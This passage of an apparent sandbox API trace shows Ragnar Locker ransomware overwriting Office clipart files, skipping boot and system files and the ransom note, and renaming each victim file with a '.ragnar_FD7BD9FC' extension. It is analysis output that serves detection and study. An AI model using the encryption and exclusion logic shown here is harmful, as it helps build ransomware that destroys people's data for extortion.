(lpString1="DD01145_.WMF", lpString2="desktop.ini") returned -1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="iconcache.db") returned -1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="ntldr") returned -1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="ntuser.dat") returned -1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="ntuser.ini") returned -1 [0081.817] lstrcmpiW (lpString1="DD01145_.WMF", lpString2="thumbs.db") returned -1 [0081.817] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.817] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.817] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.817] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.817] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.817] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.817] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0081.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.818] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2780) returned 1 [0081.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xad3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.818] GetProcessHeap () returned 0x580000 [0081.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.818] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.819] VirtualAlloc (lpAddress=0x0, dwSize=0xadc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.820] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xadc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xadc, lpOverlapped=0x0) returned 1 [0081.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.820] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xadc, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.820] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xadc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xadc, lpOverlapped=0x0) returned 1 [0081.820] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xadc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.820] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xadc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.821] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.821] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.821] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.821] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.821] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.821] GetProcessHeap () returned 0x580000 [0081.821] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.821] CloseHandle (hObject=0xf4) returned 1 [0081.821] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" [0081.821] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.ragnar_FD7BD9FC" [0081.821] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.822] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0081.822] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.822] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01146_.WMF" | out: lpString1="DD01146_.WMF") returned="DD01146_.WMF" [0081.822] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned=".WMF" [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="autorun.inf") returned 1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="boot.ini") returned 1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="bootfont.bin") returned 1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="bootsect.bak") returned 1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="bootmgr") returned 1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="bootmgr.efi") returned 1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="desktop.ini") returned -1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="iconcache.db") returned -1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="ntldr") returned -1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="ntuser.dat") returned -1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="ntuser.ini") returned -1 [0081.822] lstrcmpiW (lpString1="DD01146_.WMF", lpString2="thumbs.db") returned -1 [0081.822] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.822] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.823] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.823] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.823] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.823] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.823] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0081.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.823] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2796) returned 1 [0081.823] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xae3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.823] GetProcessHeap () returned 0x580000 [0081.823] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.823] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.825] VirtualAlloc (lpAddress=0x0, dwSize=0xaec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.825] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaec, lpOverlapped=0x0) returned 1 [0081.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.825] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaec, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.825] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaec, lpOverlapped=0x0) returned 1 [0081.825] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.825] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.825] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.825] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.826] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.826] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.826] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.826] GetProcessHeap () returned 0x580000 [0081.826] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.826] CloseHandle (hObject=0xf4) returned 1 [0081.826] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" [0081.826] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.ragnar_FD7BD9FC" [0081.826] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.826] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0081.826] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.826] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01151_.WMF" | out: lpString1="DD01151_.WMF") returned="DD01151_.WMF" [0081.826] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned=".WMF" [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="autorun.inf") returned 1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="boot.ini") returned 1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="bootfont.bin") returned 1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="bootsect.bak") returned 1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="bootmgr") returned 1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="bootmgr.efi") returned 1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="desktop.ini") returned -1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="iconcache.db") returned -1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="ntldr") returned -1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="ntuser.dat") returned -1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="ntuser.ini") returned -1 [0081.827] lstrcmpiW (lpString1="DD01151_.WMF", lpString2="thumbs.db") returned -1 [0081.827] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.827] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.827] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.827] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.827] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.827] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.827] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0081.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.827] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2960) returned 1 [0081.827] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.828] GetProcessHeap () returned 0x580000 [0081.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.828] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.839] VirtualAlloc (lpAddress=0x0, dwSize=0xb90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.839] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.839] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.839] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb90, lpOverlapped=0x0) returned 1 [0081.839] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.840] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb90, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.840] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb90, lpOverlapped=0x0) returned 1 [0081.840] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.840] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.840] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.840] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.840] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.840] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.840] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.840] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.840] GetProcessHeap () returned 0x580000 [0081.840] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.840] CloseHandle (hObject=0xf4) returned 1 [0081.840] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" [0081.840] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.ragnar_FD7BD9FC" [0081.841] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.841] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0081.841] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.841] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01152_.WMF" | out: lpString1="DD01152_.WMF") returned="DD01152_.WMF" [0081.841] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned=".WMF" [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="autorun.inf") returned 1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="boot.ini") returned 1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="bootfont.bin") returned 1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="bootsect.bak") returned 1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="bootmgr") returned 1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="bootmgr.efi") returned 1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="desktop.ini") returned -1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="iconcache.db") returned -1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="ntldr") returned -1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="ntuser.dat") returned -1 [0081.841] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.842] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="ntuser.ini") returned -1 [0081.842] lstrcmpiW (lpString1="DD01152_.WMF", lpString2="thumbs.db") returned -1 [0081.842] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.842] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.842] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.842] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.842] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 